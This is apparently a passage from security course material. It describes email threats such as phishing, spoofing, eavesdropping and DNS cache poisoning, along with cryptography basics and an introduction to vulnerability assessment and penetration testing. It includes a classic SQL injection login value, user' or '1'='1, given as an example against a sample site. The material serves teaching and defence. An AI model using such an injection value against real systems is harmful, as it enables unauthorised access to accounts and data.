product sent to a mailing list or newsgroup. 

The term spam can also be used to describe any "unwanted" email from a company or 
website -- typically at some point an user would have agreed to receive the email via 
subscription list opt-in -- a newer term called graymail is used to describe this particular 
type of spam. 

2.2.2 Social Engineering (Phishing, Targeted Attacks) 

The notion of Social Engineering refers to the exploitation of users in order to perform 
some action that will diminish their security and privacy, e.g. divulge their password or 
install malicious programs. In the context of email systems, social engineering efforts 
focus on convincing users to explicitly or implicitly reveal their authentication 
credentials, i.e. phishing, or to take advantage of users by gaining access to their 
computing devices where users are already authenticated. 

The latter case refers to targeted attacks, whereby the attackers are not aiming at affecting 
random users’ email services, but instead they focus their efforts on specific users 
because they have particular characteristics of interest, e.g. they are employees of a 
specific company or organization. The fundamental exploit based on which social 
engineering threats have proved to be widely successful is the inherent trust placed on 
email systems by their users. Users typically trust their email and therefore are convinced 
of their validity. 
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Phishing is the main threat in terms of social engineering in the realm of email systems. 
Phishing involves a malicious entity sending email messages to users in order to induce 
them to reveal their credentials. In the most common modus operandi of phishing, these 
emails appear to be from legitimate entities, e.g. banks, Internet Service Providers, 
organisations, etc., which request some sort of action on behalf of the users, for example 
to verify their account by logging in using a provided link. That link would redirect users 
to a spoofed website that will be used to grab their credentials.  

In other cases, users are intimidated to provide their credentials by responding to the 
email message, because if they do not do so they will incur some sort of penalty, e.g. their 
account will be suspended. There have been a lot of media reports on phishing campaigns 
and therefore such malicious actions have limited scope, since many users are aware of 
them and manage to avoid being victims. However, even a very small numberof deceived 
users would yield significant, lucrative gains for the attackers. 

Targeted attacks are inherently more advanced in comparison to phishing, since the 
attackers need to be aware of particularities regarding the potential victims, for example 
their place of work. This threat is commonly referred to as spear phishing. One of the 
most notable targeted attacks of this nature is the one that took place in 2011 against RSA 
Security. During that attack, some groups of RSA Security employees received phishing 
emails with a malware attachment that allowed attackers to gain access to the corporate 
network and performed theft of the token seeds thus cracking the security provided by the 
tokens themselves. 

2.2.3 Massive Eavesdropping 

This type of threat is not necessarily linked to governmental surveillance but can also be 
found in the context of industrial espionage or criminal activities.Email communications 
take place in the form of TCP connections over the Internet. Depending on where the 
sender’s and the recipient’s email servers are located, the communications can travel 
thousands of kilometers crossing countries and continents. In doing so, the email will 
travel through several intermediate systems and communication links. An attacker able to 
passively monitor any of these systems or communication links will be in a position to 
massively eavesdrop all the email communications that travel through it. The 
compromise of a single critical element such as a transatlantic cable or a busy mail server 
could allow the massive eavesdropping of the emails sent and received by hundreds of 
millions of users. There are several scenarios that might fall under the scope of the 
massive eavesdropping definition. An attacker with an adequate level of resources could 
eavesdrop a relevant percentage of all the emails sent and received worldwide every day. 
On the other side of the spectrum, an attacker able to compromise an email server will be 
able to passively eavesdrop all the emails sent and received by the users of that server. 

In both cases, the massive eavesdropping threat will directly impact the confidentiality of 
the email communications and will do it typically in a passive and transparent way that is 
difficult to be detected.  
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2.2.4 Other Targeted Criminal Acts 

Email has become the de-facto standard to address and identify an individual online. As 
such, it is also often used as the main vector to conduct all sort of targeted online criminal 
activities. An interesting example of this type of threat can be found in targeted cyber-
attacks aimed at penetrating a corporation by injecting malware delivered by email to an 
employee. 

Another notable threat against email systems is the one that aims at collecting contextual 
information regarding a particular user and then utilizing this information to try to derive 
that particular user’s credentials. The latter targeted type of attack can prove to be quite 
effective, since users typically devise passwords that they can remember easily and hence 
they associate them with other personal information, e.g. location or personal preferences. 

Moreover, Man-in-The-Middle attacks pose a significant threat to email systems. In such 
cases, malicious entities intercept email messages between sender and recipient and 
impersonate one to the other. In this manner, attackers can gain access to sensitive, e.g. 
financial, information exchanged between users and can therefore have significant gains. 
An interesting version of this threat involves the actual operation of many email systems, 
when an user has forgotten his credentials. The user is then normally led to a website that 
sends back to the user the forgotten password or a link to reset it. Assuming a man-in-the-
middle is listening in on this exchange, it is evident that the threat to the protection of 
users’ credentials is great. 

2.2.5 Vulnerabilities 

2.2.5.1Integrity of email communications 

The lack of protection of integrity of email communications is a major vulnerability that 
can be exploited by several of the threats described in the previous section. The following 
vulnerabilities are specific examples of what an attacker could achieve by tampering with 
the unprotected email communications. 

Identity spoofing 

Identify spoofing is one of the main vulnerabilities inherent to the design of the email 
system. In an identify spoofing attack an adversary is able to impersonate the identity of a 
legitimate email user and send emails to third parties on his behalf. In most of the attack 
scenarios the legitimate user will never realise that someone has impersonated his/her 
identity. 

Even a basic identity spoofing attack could be very hard to detect by the average user, 
since the email appears to be indistinguishable from what could be a legitimate one. 
However, very advanced users and security professionals could determine that the source 
email address was spoofed by analysing the email headers inserted by the SMTP servers 
involved in the communication. 
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Detecting more elaborate email spoofing attacks is often infeasible unless specific 
security measures, such as the ones that will be described in the next chapter, are put in 
place. 

Alteration of email content 

Similarly to the scenario of the identity spoofing, an attacker could also abuse the lack of 
protection of the integrity of the data to modify the content of legitimate emails that are 
sent or received by users. 

Even if no identity spoofing is performed and the email received by the user was actually 
sent by the recipient, it is still possible for its content to have been modified by an 
attacker. Moreover, this holds true both for the content of the email, as well as for any 
possible attachments that the email might contain, such as a PDF file. 

2.2.5.2 Confidentiality of Email Communications 

The email system assumes that all the actors involved in the communications, as well as 
the communication links can be trusted and are secure. In reality this is hardly the case. 
For example, the communication between SMTP servers for email delivery takes place 
through the public Internet and it is susceptible to be intercepted by third parties. In 
practice, this means that in the absence of very specific security measures, such as end-to-
end encryption with PGP or SMIME, emails sent and received, including the files 
attached, could be read and copied by third parties. There is no certainty that the 
communication is private. 

2.3 Phishing 

Phishing is the act of sending an email to 
a user falsely claiming to be an 
established legitimate enterprise in an 
attempt to scam the user into surrendering 
private information that will be used for 
identity theft. 

Phishing email will typically direct the 
user to visit a website where they are 
asked to update personal information, 
such as a password, credit card, social 
security, or bank account numbers, that 
the legitimate organization already has. 
The website, however, is bogus and will 
capture and steal any information the user 
enters on the page. 

A complete phishing attack involves three roles of phishers. Firstly, mailers send out a 
large number of fraudulent emails (usually through botnets), which direct users to 
fraudulent websites. Secondly, collectors set up fraudulent websites (usually hosted on 
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compromised machines), which actively prompt users to provide confidential 
information. Finally, cashers use the confidential information to achieve a pay-out. 
Monetary exchanges often occur between those phishers. The information flow is shown 
in Figure 1. 

2.3.1 Types of Phishing 

Phishing has spread beyond email to include VOIP, SMS, instant messaging, social 
networking sites, and even multiplayer games. Below are some major categories of 
phishing. 

2.3.2 Clone Phishing 

In this type phisher creates a cloned email. He does this by getting information such as 
content and recipient addresses from a legitimate email which was delivered previously, 
then he sends the same email with links replaced by malicious ones. He also employs 
address spoofing so that the email appears to be from the original sender. The email can 
claim to be a re-send of the original or an updated version as a trapping strategy. 

2.3.3 Spear Phishing 

Spear phishing targets at a specific group. So instead of casting out thousands of emails 
randomly, spear phishers target selected groups of people with something in common, for 
example people from the same organization. Spear phishing is also being used against 
high-level targets, in a type of attack called “whaling”. 

2.3.4 Phone Phishing 

This type of phishing refers to messages that claim to be from a bank asking users to dial 
a phone number regarding problems with their bank accounts. Traditional phone 
equipment has dedicated lines, so Voice over IP, being easy to manipulate, becomes a 
good choice for the phisher. Once the phone number, owned by the phisher and provided 
by a VoIP service, is dialed, voice prompts tell the caller to enter her account numbers 
and PIN. Caller ID spoofing, which is not prohibited by law, can be used along with this 
so that the call appears to be from a trusted source. 

2.3.5 Phishing Techniques and Countermeasures 

Various techniques are developed to conduct phishing attacks and make them less 
suspicious. Email spoofing is used to make fraudulent emails appear to be from legitimate 
senders, so that recipients are more likely to believe in the message and take actions 
according to its instructions. Web spoofing makes forged websites look similar to 
legitimate ones, so that users would enter confidential information into it. Pharming 
attracts traffic to those forged websites. Malware are installed into victims’ computers to 
collect information directly or aid other techniques. PDF documents, which supports 
scripting and fillable forms, are also used for phishing. 
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2.3.5.1 Email Spoofing 

A spoofed email is one that claims to be originating from one source when it was actually 
sent from another. Email spoofing is a common phishing technique in which a phisher 
sends spoofed emails, with the sender address and other parts of the email header altered, 
in order to deceive recipients. 

Spoofed emails usually appear to be from a website or financial institution that the 
recipient may have business with, so that an unsuspecting recipient would probably take 
actions as instructed by the email contents, such as: 

• Reply the email with their credit card number 
• Click on the link labelled as “view my statement”, and enter the password when the     

(forged) website prompts for it. 
• Open an attached PDF form, and enter confidential information into the form. 

2.3.5.2 Web Spoofing 

A phisher could forge a website that looks similar to a legitimate website, so that victims 
may think this is the genuine website and enter their passwords and personal information, 
which is collected by the phisher. 

Modern web browsers have certain built-in security indicators that can protect users from 
phishing scams, including domain name highlighting and https indicators. However, they 
are often neglected by careless users. 

2.3.5.3 Pharming 

Pharming is a type of attack intended to redirect traffic to a fake Internet host. There are 
different methods for pharming attacks, among which DNS cache poisoning is the most 
common. Domain Name System (DNS) is a critical piece of Internet infrastructure. 
Designed as a distributed system, DNS publishes a hierarchical database by a hierarchy 
of name servers. To improve performance, clients contact local DNS resolvers 
maintained by local ISPs, which can cache records from name servers. Clients, resolvers, 
and name servers talk with each other on UDP port 53. 

DNS cache poisoning attempts to feed the cache of local DNS resolvers with incorrect 
records. This is possible because: DNS runs over UDP, and it’s easy to spoof the source 
address of a UDP packet; the DNS packet header contains a 16-bit query ID field, which 
is relatively short so a birthday attack is feasible. 

Domain Name System Security Extension (DNSSEC) is an extension of DNS that 
provides three distinct services:  

1. Key distribution,  
2. Data origin authentication, and transaction.  
3. Request authentication.  

Every DNS record can be authenticated via a chain of trust. Cache poisoning is no longer 
possible, because the phisher cannot produce a correct signature without knowing the 
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private key of the domain. However, DNSSEC is not widely deployed yet. Google Public 
DNS, the largest public DNS resolver in the world, mitigates cache poisoning attacks by 
adding entropy to queries 

• Use a random source UDP port. 
• Randomly choose a name server among configured name servers of a zone. 
• Randomize case in the query name. e.g. wWw.eXaMpLe.CoM and 

WwW.ExamPLe.COm are equivalent. 
• Prepend a nonce label to the query name, if the response is known to be a referral. 

e.g. sending entriih-f10r3.www.google.com in a query to root servers. 

This randomness makes it much harder to construct a matching response than using the 
16-bit query ID alone. Thus, cache poisoning is no longer feasible. 

2.3.5.4 Malware 

Malware is a piece of software developed either for the purpose of harming a computing 
device or for deriving benefits from it to the detriment of its user. Malware can be used to 
collect confidential information directly, or aid other phishing techniques. 

Client security products are able to detect and remove malware and other potentially 
unwanted programs, but phishers can make malware undetectable. Financial institutions 
and online game vendors distribute security programs to protect their customers. Malware 
can be used to collect confidential information directly, and send them to phishers. 
Keystrokes, screenshots, clipboard contents, and program activities can be collected. 
Password input box, where letters are shown as asterisks, can be easily read with a 
program. Malware can also display a fake user interface to actively collect information. 
Collected information can be automatically sent to phishers by email, ftp server, or IRC 
channel. 

Malware can also aid other phishing techniques. For web spoofing, it can install phisher’s 
CA public key into local computer’s trusted CA list. For pharming, it can change the 
hosts file or DNS settings, or even run ARP spoofing on local Ethernet. Malware can also 
enlist the computer into botnets, to send spoofed emails or act as a webserver of forged 
websites. 

2.3.5.5 Phishing Through PDF Documents 

Adobe’s Portable Document Format is the most popular and trusted document description 
format. This makes PDF documents more susceptible to phishing threats, owing to their 
portability and interoperability on multiple platforms. In addition to being a powerful 
document format, PDF is a comprehensive programming language of its own dedicated to 
document creation and manipulation with strong execution features. Some critical 
functions of a PDF language could be misused by an attacker or a hacker to design a PDF 
document to his/her own advantage and extract the desired information from the victim, 
thereby creating a new worldwide threat. These potentially dangerous functions include 
OpenAction and SubmitForm. 
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2.4 Privacy and Security Countermeasures 

Although Adobe has implemented some security mechanisms in Adobe Reader and 
Adobe Acrobat in order to alert the user in case of (potentially) malicious attempts, these 
alert measures are just message boxes, asking the user to allow or block an action. 
Unfortunately, such message boxes are often neglected by users, and it is possible to 
bypass these security mechanisms by modifying RdLang32.FRA and AcroRd32.dll files 
with malware. 

2.4.1 Cryptography Overview 

Historically ensuring the confidentiality of messages has always been of prime 
importance, especially in the military domain. With the advent of new means of 
communication, confidentiality becomes crucial to protect the privacy of citizens. This 
property can be achieved by encrypting the communications effectively transforming 
them into non-intelligible messages to all but the intended recipient. In addition, the 
protection of the integrity of the communications and the identity of the sender is equally 
important. Similarly to manuscript signatures in the physical world, digital signature 
algorithms provide these two security properties. 

2.4.2 Encryption Algorithms  

As all cryptographic algorithms, encryption protocols can be split in two main families, 
namely symmetric and asymmetric algorithms. In symmetric cryptography, a secret value 
(or a set of values), known as key, has to be known by all the participants that want to 
share messages. This key is given as input to the encryption algorithm together with the 
clear text, also called plaintext, in order to obtain the encrypted message, also called 
cipher text. The recipient(s) of the message uses the same secret key to retrieve the 
original message from the cipher text. While being generally computationally efficient, 
symmetric algorithms require that each user generates and exchanges through secure 
channels a unique secret key with every person he/she wants to communicate with. As 
communication channels for email communications are generally not considered to be 
secure, a secure exchange of keys is not feasible in practice. 

Until 1976, no solutions other than symmetric cryptography were available. Keys were 
most of the times exchanged during physical meetings, a practice that is not compatible 
with the modern digital world. Diffie and Hellman introduced a solution in 1976 
presenting the concept of public-key cryptography, also called asymmetric cryptography. 
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Instead of a single shared key, each user is associated with a pair of keys, a public one 
that has to be distributed to all the persons the user wishes to communicate with and a 
private key that must be only known by this user. As depicted in Figure 2, a message is 
encrypted using the recipient’s public key. The recipient can retrieve the original message 
using his private key. 

The security of the protocol relies on the impossibility to retrieve the private key of a 
given user. Consequently, the public key can be sent through an insecure channel without 
compromising the confidentiality of the messages. The price to pay is that asymmetric 
algorithms require more computation than symmetric ones and are thus less efficient. 

2.4.3 Key Exchange Algorithms 

Another widespread protocol enabling the usage of symmetric cryptography without a 
pre-established secret key is the key exchange protocol firstly introduced by Diffie and 
Hellman in. The aim of this protocol is to allow two actors to agree on a common secret 
communicating over an insecure channel. In a nutshell, both participants exchange a 
portion of secret hidden in a mathematical container that cannot be extracted by anyone 
eavesdropping over the channel. Each actor is able to insert its own portion of secret in 
the received container leading to the same result on both sides, namely the shared secret 
key. Once the shared key has been established, both peers can use it with the symmetric 
encryption algorithm to encrypt their communication. 

2.4.4 Signature Algorithms 

While encryption algorithms provide confidentiality of the messages, they do not 
guarantee that the sender is the person he/she pretends to be. Furthermore, they do not 
protect from a Man-in-The-Middle attack aiming at modifying the message, regardless 
whether it is encrypted or not. These two properties are ensured by signature algorithms 
that can be seen as the digital equivalent of the manuscript signature. In addition to 
authenticating the author of a message, signature protocols aim at ensuring the non-
repudiation property, meaning that the holder of a signing key cannot claim that a signed 
message was not issued by himself/herself. Such property cannot be reached in 
symmetric cryptography as all the secret key holders could issue such “signature”. These 
symmetric protocols, called Message Authentication Code (MAC), only protect the 
integrity of the messages. 
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The basic principle of signature is depicted in Figure 3 and is briefly described in the 
following. The signer uses his/her private key to sign the message and sends both the 
message and the signature. The recipient uses the signer’s public key to verify the validity 
of the couple message signature. It is considered infeasible to forge a signature on behalf 
of someone without knowing the corresponding private key. As a consequence, 
modifying a single bit of a signed message invalidates the signature, ensuring at the same 
time both authenticity of the author and integrity of the message. 

2.4.5 Certificates 

The rise of asymmetric cryptography helped to solve many practical problems and ensure 
many security properties without requiring the prior establishment of a secret key through 
a secure channel. However, the security of the whole communication system relies on the 
fact that the users are sure of the identity associated to a public key. If such link is not 
secured, one can still trust that a message has been signed by the holder of the 
corresponding public key but not that the holder is necessarily who he/she claims to be. 

The most obvious way to trust the identity of a public-key holder is to physically 
exchange such keys, which unfortunately brings us back to the same limitations of 
symmetric cryptography. To address this issue, public key infrastructures have been put 
in place where users trust a single entity or a group of entities who certify the link 
between the identity and the corresponding public key. Such proof as well as other 
relevant information are packaged together in a certificate.  

A widespread format is the X.509 certificate defined in the RFC 2459 standard (updated 
in RFC 5280).  

The certificates are composed of the following fields: 

• Version and serial number of the certificate; 
• Algorithm used to sign the certificate; 
• Distinguished Name of the Certification   

Authority that has issued the certificate; 
• Validity period (starting and ending date); 
• Distinguished Name of the holder; 
• Public Key details, namely the public key 

algorithm and the public key of the  holder;  
• Issuer Unique Identifier (only in X.509 v2); 
• Subject Unique Identifier (only in X.509 

v2); 
• Extensions (only in X.509 v3). 

Evidently, the certificate by itself does not provide any additional evidence about the link 
between identity and public key.  

To secure this link, the certificate has to be signed by an entity trusted by the user.  

There are many ways that such trust systems can be implemented. The most transparent 
one for a user is the one deployed in Internet browsers (Internet Explorer, Firefox, 
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Chrome, etc) and mailer systems (Microsoft Outlook, Thunderbird, etc) that is based on a 
chain of trust. A chain of trust is a multiple tree-based solution, where each root is a 
trusted Certification Authority (CA). The certificates of these authorities are locally 
stored on the computer in such a way that the software will consider as legitimate any 
certificate signed by them. An example of some trusted CAs stored locally by the mailer 
system Thunderbird is depicted in Figure 4. 

2.5 Summary 

Email communications, born in the research community more than two decades ago, have 
evolved into the electronic communication protocol par excellence used on a daily basis 
by hundreds of millions of European citizens, as well as by most governments and 
businesses. The email ecosystem is a highly interoperable one and relies on a core set of 
protocols initially designed more than three decades ago, in an early digital context much 
different from the one found today in terms of digital privacy and security risks. 
Consequently, this core set was not originally designed with privacy and security 
requirements in mind, but under the assumption that the several actors involved in email 
communications could trust each other and that the digital communication links were 
secure. 

With the massive adoption of Internet and email communications, a new rich set of 
complementary standards and tools were created in order to tackle the growing security 
and privacy concerns. However, these enhanced protocols and tools have failed in 
practice to deliver an effective protection. As a result, world-wide email communications 
remain largely vulnerable to security and privacy threats. 

The main findings of this report are summarised as follows: 

1. Email communications are in general not sufficiently protected. 
2. There are standards, protocols and techniques capable of enhancing the security of 

email  communications but they are not always used or implemented properly in 
practice. 

3. Mature and interoperable end-to-end email security solutions exist but are rarely 
used in practice. 

4. Email communication channels (SMTP to SMTP) are not sufficiently protected in 
practice. 

5. Lack of security in DNS has a direct impact on the security of email 
communications. 

6. Email identity spoofing is still a major risk in email communications. 
7. Incentivise industry to support end-to-end solutions. 
8. Promote the integration of end-to-end solutions into existing products and 

services. 
9. Promote the security of the email communication channels. 
10. Development of a minimum set of security requirements supported by an “Email 

Privacy Seal”. 
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Unit-3 
Vulnerability Assessment and Penetration Testing (VPAT) 

Learning Objectives :  

After studying this unit, you should be able to…….. 

 Understand Vulnerability Assessment and VAPT  

 Know different types web application vulnerabilities.  

 Know Vulnerability Analysis and its steps. 

 Know penetration testing and its steps of testing. 

 Know different types of Penetration Testing.  

 Understand the distinction between penetration testing and network security 
assessments. 

Structure  
3.1 Introduction 

3.2 Vulnerability Assessment and Benefits of VAPT 

      3.2.1 Reasons for Vulnerability Existence 

      3.2.2 Steps for Vulnerability Analysis 

3.3 Web Application Vulnerabilities 

     3.3.1 Types of web application vulnerabilities 

              3.3.1.0 SQL-Injection 

              3.3.1.1 Blind Injection Detection 

              3.3.1.2 Cross-Site Scripting 

              3.3.1.3 Broken Authentication & Session Management 

              3.3.1.4 Insecure Direct Object References 

              3.3.1.5 Failure to Restrict URL 

              3.3.1.6 Remote Code Execution 

3.4 Vulnerability Assessment Using Acunetix 

3.5 Working of Vulnerability Assessment Tool 

3.6 Penetration Testing overview 

      3.6.0 What is Penetration Testing? 

      3.6.1 Step 1: Defining the Scope. 

      3.6.2 Step 2: Performing the Penetration Test 

      3.6.3 Step 3: Reporting and Delivering Results  

      3.6.4 Why is Penetration Testing Required? 

      3.6.5 When to Perform Penetration Testing? 
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      3.6.6 How is Penetration Testing Beneficial? 

3.7 Penetration Testing 

     3.7.0 Steps of Penetration Testing Method 

     3.7.1 Planning & Preparation 

     3.7.2 Reconnaissance 

     3.7.3 Discovery 

     3.7.4 Analyzing Information and Risks 

     3.7.5 Active Intrusion Attempts 

     3.7.6 Final Analysis 

     3.7.7 Report Preparation 

3.8 Penetration Testing vs. Vulnerability Assessment  

     3.8.0 Penetration Testing 

     3.8.1 Vulnerability Assessment 

     3.8.2 Which Option is Ideal to Practice? 

3.9 Types of Penetration Testing  

    3.9.0 Types of Pen Testing 

    3.9.1 Black Box Penetration Testing 

    3.9.2 White Box Penetration Testing 

    3.9.3 Grey Box Penetration Testing 

    3.9.4 Areas of Penetration Testing 

3.10 Penetration Testing Tools 

3.11 Limitations of Penetration Testing 

3.12 Summary 

 

3.1 Introduction 

Vulnerability assessment and Penetration Testing (VAPT) is the most comprehensive 
service for auditing, penetration testing, reporting and patching for your company’s web 
based applications. With port  80 always  open  for  web  access  there  is always a 
possibility that a hacker  can beat  your security  systems  and  have unauthorized access 
to your  systems. Vulnerability assessment and  penetration testing are  two  different  
and  complimentary proactive  approaches to  assess  the  security  posture of  an  
information system’s  network. The Vulnerability Assessment is done to test the security 
posture of the information system both internally and   externally. Penetration  tests   
provide  evidence   that  vulnerabilities  do  exist  as  a result   network  penetrations are  
possible. They provide a blueprint for remediation.  Methodology include: discovery, 
enumeration, vulnerability identification, vulnerability assessment, exploitation and 
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launching of attack, reporting, external penetration testing, internal penetration testing, 
legal issues before you start. 

3.2 Vulnerability Assessment and Benefits of VAPT  

Vulnerability assessment is to find vulnerabilities and to take more holistic look at 
security. Penetration testing  is a focused attack  of a single or a few vulnerabilities that 
are  generally  already  known  to  exist  or are  suspected  of existing. Vulnerabilities 
now scale beyond technology the operational processes like patch management and 
incident management have a significant impact on the lifecycle of vulnerability. 
Vulnerability analysis can forecast the effectiveness of proposed countermeasures and 
evaluate their actual effectiveness after they are put into use. 

Vulnerability Assessment and Penetration Testing (VAPT) is a Systematic analysis of 
security status of Information systems. Vulnerability assessment is an on-demand 
solution which makes it convenient to run tests over the Internet anywhere, anytime. It is 
a hybrid solution which blends automated testing with security expert analysis. The 
unique technology identifies all possible attack vectors. Vulnerability assessment offers 
partial evaluation of vulnerabilities, actually testing for vulnerabilities done by 
penetrating barriers is useful adjunct. As it identifies potential access paths missed by 
VAS. Penetration testing aka “pen testing” is the practice of testing a computer system, 
network or Web application to find vulnerabilities that an attacker could exploit. 

Pen tests can be automated with software applications or they can be performed 
manually. Either way, the process includes gathering information about the target before 
the test (reconnaissance), identifying possible entry points, attempting to break in (either 
virtually or for real) and reporting back the findings. The main objective of penetration 
testing is to determine security weaknesses. A pen test can also be used to test an 
organization's security policy compliance, its employees' security awareness and the 
organization's ability to identify and respond to security incidents done by Pen testers aka 
“Red Team”. 

METHODOLOGY OVERVIEW 

1. Discovery:  The penetrator performs information discovery via a wide range of 
techniques such as, scan utilities, Google dorks, and more in order to gain as much 
information about the target system as possible. These discoveries often reveal sensitive 
information that can be used to perform specific attacks on a given machine. 
2. Enumeration:  Once the specific networks and systems are identified through 
discovery, it is important to gain as much information possible about each system. The 
difference between enumeration and discovery depends on the state of intrusion. 
Enumeration is all about actively trying to obtain usernames as well as software and 
hardware device version information. 
3. Vulnerability Identification: The vulnerability identification step is a very important 
phase in penetration testing. This allows the user to determine the weaknesses of the 
target system and where to launch the attacks. 
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4. Exploitation and launching of attacks:  After the vulnerabilities are identified on the 
target system, it is then possible to launch the right exploits.  The goal of launching 
exploits is to gain full access of the target system. 
5. Denial of Service: A DoS (Denial of Service) test can be performed to test the 
stability of production systems in order to show if they can be crashed or not. When 
performing a penetration test of a production system, it is important to test its stability 
and how easily can it be crashed.  By doing this, its stability can be ensured once it is 
deployed into a real environment.   It is important to perform DoS attack to ensure the 
safeness of certain systems. If an attacker takes down your system during busy or peak 
hours, this could lead to significant financial losses. 
 

3.2.1 Reasons for Vulnerability Existence 

a) Insecure coding practices. 
b) Developer education not focused on security. 
c) Limited testing budget and scope. 
d) Disjoined security processes. 
e) More resources outside than inside. 

3.2.2 Steps for Vulnerability Analysis 

a) Defining and classifying network or system resources. 
b) Assigning relative levels of importance to the resources. 
c) Identifying potential threats to each resource. 
d) Developing a strategy to deal with the most serious potential problems first. 
e) Defining and implementing ways to minimize the consequences if an attack occurs. 

Once analysis has been completed, if security holes are found as a result of vulnerability 
analysis, a vulnerability disclosure may be required.  The person or organization that 
discovers the vulnerability or a responsible industry body such as the Computer 
Emergency Readiness Team (CERT) may make the disclosure.  If the  vulnerability is 
not  classified as a high  level threat, the  vendor  may  be given a certain amount of time 
to fix the  problem  before the  vulnerability is disclosed  publicly. The third stage of 
vulnerability analysis (identifying potential threats) is sometimes performed by a white 
hat using ethical hacking techniques.  Using  this  method  to  assess vulnerabilities, 
security  experts  deliberately  probe  a network  or system to  discover  its  weaknesses. 
This process provides guidelines for the development of countermeasures to prevent a 
genuine attack. 

3.3 Web Application Vulnerabilities 

Web   applications  are   those   applications that  can be availed from anywhere in the 
world, attackers  may be sitting  worldwide  to  make these  applications vulnerable, on 
the basis of specific protocols such as HTTP and HTTPS (and  also streaming) 
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3.3.1 Types of Web Application Vulnerabilities 

3.3.1.0 SQL-Injection 

SQL injection is one of the most devastating vulnerabilities that impact a business, as it 
can lead to exposure of all of the sensitive information stored in an application’s 
database, including handy information such as usernames, passwords, names, addresses, 
phone numbers, and credit card details. 

So, what exactly is SQL 
injection? It is the vulnerability 
that results when you give an 
attacker the ability to influence 
the Structured Query Language 
(SQL) queries that an 
application passes to a back-
end database. By being able to 
influence what is passed to the 
database, the attacker can 
leverage the syntax and 
capabilities of SQL itself, as 
well as the power and 
flexibility of supporting 
database functionality and 
operating system functionality 
available to the database.  

                                                                                  Figure-1 

SQL injection is not a vulnerability that exclusively affects Web applications; any code 
that accepts input from an untrusted source and then uses that input to form dynamic SQL 
statements could be vulnerable (e.g. “fat client” applications in a client/server 
architecture).  

In the past, SQL injection was more typically leveraged against server side databases, 
however with the current HTML5 specification, an attacker could equally execute 
JavaScript or other codes in order to interact with a client-side database to steal data. 
SQL Injection (Figure-1) is the hacking technique which attempts to pass SQL 
commands (statements) through a web application for execution by the backend database. 
If  not  sanitized properly, web  applications may  result  in  SQL Injection   attack that 
allow hackers to  view information  from the  database and/or even wipe it  out. In SQL 
Injection,  the  hacker  uses SQL queries  and  creativity to  get  to  the  database of 
sensitive  corporate  data through the web application.    
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Understanding How It Happens 

a) SQL injection vulnerabilities most commonly occur when the Web application 
developer does not ensure that values received from a Web form, cookie, input 
parameter, and so forth are validated or encoded before passing them to SQL queries that 
will be executed on a database server. 
b) If an attacker can control the input that is sent to an SQL query and manipulate that 
input so that the data is interpreted as code instead of as data, he may be able to execute 
code on the back-end database. 
c) Without a sound understanding of the underlying database that they are interacting 
with or a thorough understanding and awareness of the potential security issues of the 
code that is being developed, application developers can often produce inherently 
insecure applications that are vulnerable to SQL injection. 

3.3.1.1 Blind Injection Detection 

Web applications access databases for many purposes. One common goal is to access 
information and present it to the user. In such cases, an attacker might be able to modify 
the SQL statement and display arbitrary information from the database into the HTTP 
response received from the web server. However, there are other cases where it is not 
possible to display any information from the database, but that doesn’t necessarily mean 
the code can’t be vulnerable to SQL injection. This means the discovery and exploitation 
of the vulnerability is going to be 
slightly different.                                                                    
Consider the following example-2. 

Victim Inc. allows its users to log on to 
its Web site via an authentication form 
located at 
http://www.victim.com/authenticate.asp
x. The authentication form requests 
username and  password from the user. 

                                                                                        Figure 2                                

If you enter any random username and password the result page shows an “Invalid 
username or password” message. This is something that you would expect. However, if 
you enter username value of user’ or ‘1’=’1 the error shown in Figure-2 is displayed. The 
application shows different error messages when it receives a valid username, and 
moreover, the username field seems vulnerable to SQL injection. 

3.3.1.2 Cross-Site Scripting 

If the web site allows uncontrolled content to be supplied by users. User can introduce 
malicious code in the content for example: Modification of the Document Object Model-
DOM (change some links, add some buttons), Send personal information to third party 
(JavaScript can send cookies to other sites) Figure-3. 
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XSS attacks involve three parties: 

a) The attacker. 
b) The victim. 
c) The vulnerable web site that the 
attacker exploits to take action on the 
victim. 

XSS vulnerabilities exist when a web 
application accepts user input through 
HTTP requests such as a GET or a 
POST and then redisplays the input 
somewhere in the output HTML code. 

                     Figure-3 

3.3.1.3 Broken Authentication & Session Management 

Application functions related to 
authentication and session management 
are often not implemented correctly, 
allowing attackers to compromise 
passwords, keys, session tokens, or 
exploit other implementation flaws to 
assume other users identities. Account 
credentials and sessions tokens are 
often not properly protected, third party 
can access to one’s account. Method of 
attack use weakness in authentication 
mechanism Figure-4. 

a) Logout             Figure-4                                                      
b) Password Management Timeout 
c) Remember me                                                                  

3.3.1.4 Insecure Direct Object References 

It occurs when developer uses HTTP parameter to refer to internal object. A direct object 
reference occurs when a developer exposes a reference to an internal implementation 
object, such as a file, directory, database record, or key, as a URL or form parameter. An 
attacker can manipulate direct object references to access other objects without 
authorization, unless an access control check is in place. For example, in Internet 
Banking applications, it is common to use the account number as the primary key. 
Therefore, it is tempting to use the account number directly in the web interface.  Even if 
the developers have used parameterized SQL queries to prevent SQL injection, if there is 
no extra check that the user is the account holder and authorized to see the account, an 
attacker tampering with the account number parameter can see or change all accounts. 
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3.3.1.5 Failure to Restrict URL 

Many web applications check URL access rights before rendering protected links and 
button. However, applications need to perform similar access control checks each time 
when pages are accessed, or attackers will be able to forge URLs to access these hidden 
pages anyway. Some site just prevent the display links or URL’s  to unauthorized users, 
attackers can access directly the URL’s by gaining  access to  protected areas. Code that 
evaluates privileges on the client rather than on the server. Privileges tested in JavaScript 
and access to a hidden address. But attacker can see the code the address. 

3.3.1.6 Remote Code Execution 

This vulnerability allows an attacker to run arbitrary, system level code on the vulnerable 
server and retrieve any desired information contained therein. Improper coding errors 
lead to this vulnerability. It is difficult to discover this vulnerability during penetration 
testing assignments but such problems are often revealed while doing a source code 
review. However, when testing web applications is important to remember that 
exploitation of this vulnerability can lead to total system compromise with the same 
rights as the web server itself. 

3.4 Vulnerability Assessment Using Acunetix 

Acunetix site Audit provides you with an immediate and comprehensive security audit of 
all off-the-shelf and bespoke web applications. Performed by web security experts using 
Acunetix Web Vulnerability Scanner, Acunetix Site Audit 

a) Provides you with an immediate and comprehensive website security audit. 
b) Ensures your website is secure against web attacks. 
c) Checks for SQL injection, Cross site scripting and other vulnerabilities. 
d) Audits shopping carts, forms, and dynamic content. Scans all your website and web 
applications including JavaScript / AJAX applications for security vulnerabilities. 

3.5 Working of Vulnerability Assessment Tool 

Vulnerability assessment tools generally work by attempting to automate the steps often 
employed to exploit vulnerabilities: they begin by performing a “footprint” analysis to 
determine what network services and/or software programs (including versions and patch 
levels) run on the target.   

